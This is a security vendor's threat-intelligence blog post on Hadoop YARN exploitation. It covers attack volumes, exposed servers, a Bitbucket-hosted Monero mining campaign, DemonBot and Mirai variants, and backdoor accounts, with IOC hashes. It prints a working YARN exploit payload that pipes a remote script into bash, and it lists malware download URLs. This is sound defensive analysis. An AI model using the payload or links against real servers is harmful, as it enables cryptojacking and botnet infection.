TL;DR

  • Rate of Hadoop YARN exploits is slowing but still at a concerning 350,000 events per day
  • 1065 servers are exposed and vulnerable
  • The geographic spread of vulnerable servers and the targets of the attacks is global and concentrated in regions with high cloud data center densities
  • Motivations behind the exploits range from planting Linux backdoors, infecting servers with IoT malware for scanning and DDoS, up to cryptomining campaigns
  • A Monero cryptomining campaign has been actively abusing exposed Hadoop YARN servers since April 2018 and mined for a total revenue of 566 XMR (about 60,000 USD) and is growing its revenues with an average of 2 XMR (212 USD) a day
  • In a window of less than 14 days, there was enough malware collected from Hadoop YARN exploit attempts to start a small zoo
  • Owners of Hadoop YARN servers should care, as they can fall victim to cryptomining abuse, causing loss of performance, instability and higher cloud utilization bills
  • Online businesses should care, too. They can be the target of DDoS attacks.
  • Consumers should care because they will not be able to shop during Cyber Monday if their favorite online shop falls victim to DDoS attacks

In my blog on DemonBot, I discussed how Hadoop YARN exploit attempts were ramping up. In the middle of October, our deception network recorded up to 1.5 million attempts per day. The good news is that the attempt rate steadily slowed down in the second half of last month—though unfortunately not to the point where we should pat ourselves on the back for exposing one of the many malicious campaigns that are taking advantage of exposed Hadoop YARN servers.

[You may also like: New DemonBot Discovered]

These last few days, the number of Hadoop Yarn exploit attempts slowed to an average of 350,000 attempts per day. That said, there is no sign of the threat going away any time soon and we should stay alert. In order to appreciate the risk and quantify the threat, I have been tracking Hadoop YARN campaigns and exploring the extent of the attack surface since my last blog. Understanding the potential for abuse and the types of threats that are emerging from the exposed servers allows one to better appreciate the risk.

The Attackers and their Victims

Between September and the first half of November, there have been more than 35 million exploit attempts registered by our deception network and over one-third of them originated from the US. Great Britain, Italy and Germany are the runners-up and, combined, they were good for more than half of the exploit attempts.

In absolute numbers, the U.S. generated nearly 12 million exploit attempts. Great Britain and Italy each were responsible for 6 million attempts, closely followed by Germany with 4.8 million attempts.

The exploit attempts were not specifically targeting a single region. The UK and Germany honeypots were hit twice as hard compared to the rest of the world. The average numbers for each region is between 1.6 and 3.2 million attempted exploits.

Hadoop YARN Attack Surface

To asses the attack surface, I performed a global scan for services listening on the Hadoop YARN port TCP/8088, taking care to exclude sensitive IP ranges as listed in Robert Graham’s masscan exclusion list. By November 8, the number of vulnerable Hadoop YARN servers exposed to the public was 1065. The vulnerable servers are scattered around the globe with higher concentrations in areas where the data center density is high.

Compare the above locations of vulnerable Hadoop YARN servers with the global data center map below:

The attack surface is global and limited to little over 1,000 servers, but it should not be ignored because of the high potential powerful big data servers typically provide for malicious agents.

Types of Abuse

Now that we have a good measure on the attack surface and the interest taken in it by malicious actors, it’s time to have a closer look at how these actors are attempting to take advantage of this situation.

The below graph shows different Hadoop YARN exploits recorded by our medium interaction honeypots over a period of 14 days. Each exploit payload contains a command sequence which is hashed into a unique fingerprint, allowing us to quantify and track campaigns over time. The exploit table in (*1) contains the details of each command sequence corresponding to the fingerprints in the graph.

The red bars in the command sequence graph above represent the attempted count per day from a new DemonBot campaign ‘YSDKOP,’ named after the names used for the malware binaries.

The two large peaks in different shades of blue represent multiple exploits related to a Hadoop YARN cryptomining campaign that has been running for at least 8 months now; first spotted in April 2018, it recently moved its download infrastructure to BitBucket.org. Guess it is more convenient to track different versions of cryptominer and its configuration files over time using Atlassian’s free and public service…

The other, shorter and less aggressive campaigns represented in the command sequence graph above were mostly infection attempts by Linux/IoT Botnets. Some that seemed worthy of a few words are discussed below.

The Bitbucket Crypto Miner

An ongoing Monero cryptomining campaign that has been known to actively abuse exposed Hadoop YARN servers since April of this year, mined a total of 566 XMR (about 60,000 USD) and is growing its revenue with an average rate of 2 XMR (212 USD) a day. The malicious agent or group is currently abusing three servers and maintains an average hash rate of 400kH/s over time.

Leveraging the Hadoop YARN vulnerability, a shell script is downloaded and executed from a public BitBucket account:

{“max-app-attempts”:2,”am-container-spec”:{“commands”:{“command”:”wget -q -O – https://bitbucket.org/zrundr42/mygit/raw/master/zz.sh | bash & disown”}},”application-id”:”application_1802197302061_0095″,”application-type”:”YARN”,”application-name”:”hadoop”}

The ‘zz.sh’ script, archived in (*2) for reference, performs some cleaning up on the server before ultimately downloading a binary called ‘x_64’ from the same repository.

The x_64 binary is XMRig, an open source, high performance Monero CPU miner written in C++ (https://github.com/xmrig/xmrig).

The configuration file for XMRig is ‘w.conf’ and downloaded from the same BitBucket repository:

From the configuration file we find the pool wallet address:

46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S

The wallet address matches that of operations reported in the Stackoverflow and HortonWorks communities by Hadoop admins in May of this year; thousands of cryptomining jobs were causing issues with the cluster.

In August, the 360 Threat Intelligence Center published a report on what they called the “8220 mining gang,” also mentioning the same wallet address. According to the researchers, the mining gang was/is suspected to be of Chinese origin.

The same address also matches the wallet address used in a sample Nanopool report link in the readme of another cryptomining open-source software hosted on Github and called ‘Cpuhunter’.

The Nanopool wallet account that has been in use since April 10 can be tracked through this link.

The total XMR payments resulting from this illegal mining operation were, as of November 12, 566 XMR or about 60,000 USD.

IOC
Binary: a1bd663986bae6b5cea19616c9507d09618eaddb71051ae826580a0b7e610ae5 x_64
Bitbucket repo: https://bitbucket.org/zrundr42/mygit/src/master/
Mining pool account: 46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S

YSDKOP, DemonBot in Hiding

YSDKOP bots are delivered through a Hadoop YARN exploit using the following payload:

The downloaded ‘bins.sh’ script downloads in its turn several binaries in a typical IoT loader kind of way:

The different binaries correspond to cross-compiled versions of the same source code for multiple platform architectures:

A quick glance over the strings of the i586 binary reveals the typical DemonBot markers:

This is an unaltered DemonBot hiding behind a random name YSDKOP.

IOC
59719aa688954e7f4dd575173d7c9b5de6fd0d69d8c9ed8834d91a144e635e3b bins.sh
106dc7d4f44c1077b62c6d509ce471c79e27ffc7369d6418ddafed861c0f93be YSDKOP.arm4
dd62d3b51b194729f7270c590f647d08a1cbc6af8ecf0b92a98dc3e330fe304a YSDKOP.arm5
3fb0dd65608b93034e212ad85e660f6bc25a5df896410e0c6b9c411e56faac55 YSDKOP.arm6
74f8d9c9d91f87aa7f092efa6b12a4c9dfff492eb54f12d6e35e8bf3e96eacff YSDKOP.arm7
a36dff7844715c796de80f26b9dd4470de8cbc6c941499b6a94c048afd567316 YSDKOP.i586
7caed4bafe6c964c090d78f93e7eb7943bb19575532f19e70a87cfe2943d1621 YSDKOP.i686
dd8163a99b5cdd3e591213c64ad48e25d594f4b7ab9802cd7c60f3150a9e71f9 YSDKOP.m68k
67e85c8b24c3e382a1d83245d1c77f6b8b5f0b19be36fd8fb06f1cb42d07dad5 YSDKOP.mips
8b2407226356487558a26aba967befd48df53a5f53fd23b300f22b4dc9abe293 YSDKOP.mpsl
b94176a7448aa8ea0c961bc69371778828f3ab5665b14cc235f8413d8bf86386 YSDKOP.ppc
a96e07c8dc42eb05fa21069bb14391ee4241d1ccd9289c52cb273ffb7ecd3891 YSDKOP.sh4
43e445b0c644d52129c47154cd6bcdea7192d680cc3d2e8165b904c54ddd6fc2 YSDKOP.sparc
39f2b2c68362a347aad0942853d0262acec1e2f4174ba973b0c574f4567cb893 YSDKOP.x86

Supra, DemonBot-ng

Infecting through the Hadoop YARN exploit payload below:

The downloaded script ‘n’ contains code to download two binaries, one 32bit x86 and one 64bit x86:

Looking at the strings of the downloaded ‘Supra.x86_64’ binary, we see a close match with those of DemonBot, as do the decorated names in the unstripped binary.

Note the very similar string as previously discovered in the DemonBot source code, but this time with ‘Supra’ instead of ‘shelling’ in the first square brackets:

[Supra]–>[%s]–>[%s]–>[%s]–>[%s]–>[%s]

The new binary also contains indicators of an extension in the platform detection code. The original DemonBot checked for two platforms

Ubuntu/Debian, based on the existence of /usr/bin/apt-get, and

RHEL/Centos, based on the existence of /usr/bin/yum

Supra adds to the above two:

Gentoo:          /usr/lib/portage

OpenSUSE:    /usr/share/YaST2

OpenWRT:     /etc/dropbear

UNKNOWN:   /etc/opkg

Dropbear:      /etc/ssh/

Telnet:           /etc/xinet.d/telnet

The compile version used for this DemonBot version is identical to the original DemonBot: GCC (GNU) 4.2.1.

Hoho, a Botnet by Greek.Helios

Hadoop YARN exploit payload:

The binaries first appeared on the server on Oct 30, 2018:

The hoho.x86 binary contains the literal string: Botnet Made By greek.Helios

The binary is packed with the UPX executable packer and matches mostly Mirai code.

IOC
7812fc4e894712845559193bd2b9cc88391b0a6691906124846cbaf73eb67b73 hoho.arm
622dd9dc905a14d881ce07227252f5086ba3b7afca88b913ece0bcfb4444b41b hoho.arm5
b9e0cce5412c1cb64f6e53493c8263f5e0d56e6e217ea4d94e401bf2da6d8c60 hoho.arm6
7050cb141e5eb0a8236639e0d9f2cc9bca63f2c3984b3ea8e30400984d24cfe6 hoho.arm7
4ce21713f20624ea5ba9eec606c53b7d9c38c2d72abf4043f509c81326bbdb1d hoho.m68k
485ecbe80f8f98b032af80cf32bb26d49e1071c75b25f6e306e37856f1446d38 hoho.mips
a599bf6697062d3358b848db40399feafd65931834acc9228f97dc27aa7fa4bb hoho.mpsl
456b31214698f894e8f4eb4aa01a34305c713df526fd33db74b58f440e59a863 hoho.ppc
e0a56e2ea529991933c38fc8159374c8821fdb57fe5622c2cf8b5ad7798bbc02 hoho.sh4
da53b60354c3565a9954cbaa0e1b6d7146d56890ee10cd0745b5787298db97a7 hoho.spc
9f4f93667e4892ca84a45981caafb4a39eabdc2f6c257f0dc2df04c73f1bf0a4 hoho.x86

prax0zma.ru

This campaign consists of a set of shell scripts which deletes system and other user accounts from a compromised server and creates two backdoor accounts with root privileges.

The backdoor account user names are ‘VM’ and ‘localhost’ and both have their password set to the hash ‘$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1’.

A Malware Zoo

The Hadoop YARN exploits in table (*1) provided for a real Linux IoT malware zoo – most of the binaries are Mirai- related – not to our surprise…

Links that are still active:

http://167.88.161.40/yarn.x86
2eab746dea07b3b27fb6582ee100a7ee732d7980012652da6d705f4e90c4196b yarn.x86
http://185.244.25.150/bins/otaku.x86
34ee8efb22814660dd7d2a4d1219b73fd1a2c4ba63ef99020f135980551419b5 otaku.x86
http://185.244.25.163/8×868
a5beb685f7847009485b94cc7f91eb16254ccd681c60cec5928f5a22c23acb55 8×868
http://185.244.25.222/x86
4b18997cc8fa26092d3b6de7fce637a4bc80a9c35997248035208144108c6ebd x86
http://185.244.25.251/x86
33f54d0afccfdc0a8b0428d7a1fca20079fe760b21e3750e31a8cba1b862e104 x86
http://167.99.51.231/x86
83777b500163259e9e1b7a4801b5c3ad48708511b1c2b7573e344985011396c6 x86
http://46.17.47.198/bins/kowai.x86
1a447b4e33474e693517a5a1b26e18c5a0dc8de3e92b57f2402f098218327c60 kowai.x86

Links that are inactive as of this writing:

Compromised Servers

Knowing the exposed servers, we can assess the activity of that set of servers that were compromised by correlating the server IP with our global deception network activity. Less than 5% of the list of exposed servers overlapped with servers in our deception network and has been seen performing malicious activity. This 5% is not the full picture though, since there is convincing evidence of actors actively abusing the servers for mining cryptocurrencies and because there is no scanning or exploiting activity, these servers do not show up in our deception network. The amount of compromised servers from the potential 1065 is still an unknown, but it is safe to say that at some point, all of those will fall–or have already fallen–victim to malicious activities.

The below graph shows the activity per port of known compromised servers. The activities target TCP ports 23, 2323, 22, and 2222 which are representative for your run-of-the-mill IoT exploits through telnet and SSH credential brute forcing. The other notorious port 5555 is known for TR069 and ADB exploits on IoT vulnerable devices. In the past 7 days, we witnessed an increased scanning activity targeting port 23.

This Mirai-like port 23 scanning behavior was mostly originating from a single server, good for over 35,000 scanning events during the last 7 days. The other compromised servers were good for a couple of events during limited time ranges.

In terms of regional targeting by compromised servers, Germany took most of the hits.

If…Not When

Although there is clear evidence of DDoS capable botnets attempting to compromise Hadoop YARN exposed servers, there was no immediate evidence of DDoS activity by the compromised servers. This does not eliminate the possibility and potential of DDoS attacks, however. The attack surface is just a little over 1065 servers. Compared to IoT botnets, who can run in the hundreds of thousands of devices, this seems of little threat. However, Hadoop (and cloud servers in general) provides much better connectivity and far more compute resources compared to IoT devices; only a few of these servers in a botnet can cause severe disruption to online businesses.

For those that are operating Hadoop clusters, a publicly exposed YARN service can and will at some point be exploited and abused for cryptomining. Besides affecting stability and performance, cloud servers with elastic compute resources can have an economic impact on the victim because of the surge in resource utilization.

Do note that you cannot get away with publicly exposed services, it is not a matter of IF but a matter of WHEN your service will be compromised and abused. In today’s Internet, cloud servers can perform full internet port scans in minutes, and application vulnerability scans in less than a day. For those of you who are not convinced yet, pay a visit to one of the (IoT) search engines such as https://shodan.io or https://fofa.so, who on a daily basis scan and scrape internet connected devices. Just type ‘jetty’ in the search field of those search engines and witness how many servers are indexed and easily discovered within seconds.

(*1) Hadoop YARN Exploits

See footnote below for fingerprints.

(*2) zz.sh script

Footnote

5fa61a9db446fbd0ed91c87b41fd5f76
c790886327d33cb3d816d7c45353ecb3
bed4c66e24efc5bfc438c2bec5a1ced8
55583e6720cd617146241530f8c24ef2
29a5a460428245a3f1540ee9b9ae4bd2
70069ff8bb8cdfec726061ba165cf67d
d16cd36b2d8a11c1e4e16e1c2615fbca
e6187d83aabccdcec4cec3923b14543f
4c6ae1c8957a646a0bc18b1ca36b353e
f92464fc6f27a04a33149230a87b89fd
6ae6c48b7b54545c5b020cb78962d9f7
e474377e0ee1a42ec2288139e8b8817d
f1e40f91dd0cd93854e0bcdb4b7f20d6
f5619e9032af0418faf782c631470e36
5b29ec04491dbf16b1200dfc670f47b8
c06ea1cd0ba263edce43591db151df5b
194ab7f048086a6ce15fe1c55a3b63cf
1b82c0e04f463eeb7322f27e8fcc81b8
3557c8b76761651aaae04961dd27eef9
3999f476213b3a051e7027af941e571e
c0c2d5191ed71d4d57f698d3d5f081ab
d293ff87757e9ee86868f9cb99059f7d
eaeb12363b5deae68e1be29be7d550c0
fd319c9ebbd560a12e97568d44a92e7e
0753b21b5772c9fb670b8e0a586eb216
0df509ff2344b1d83f0a4f78989ba70b
38011e75cf449e2e9c05b1e4dfd7e2e2
3e876f3b1b2d969358d14bd1c31cc031
586e1a782f4871e10b69081349102471
694d3ab4d35a233d84c5cf1a340a3742
72f476fac8d2db814f5b5d48f2184103
7b145e2db6b93a358674358629efa516
96c88b1b979427688bcb2de65cb2c54e
ebc00bdbd1a1b739cde7aec0d15f273e

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Download Now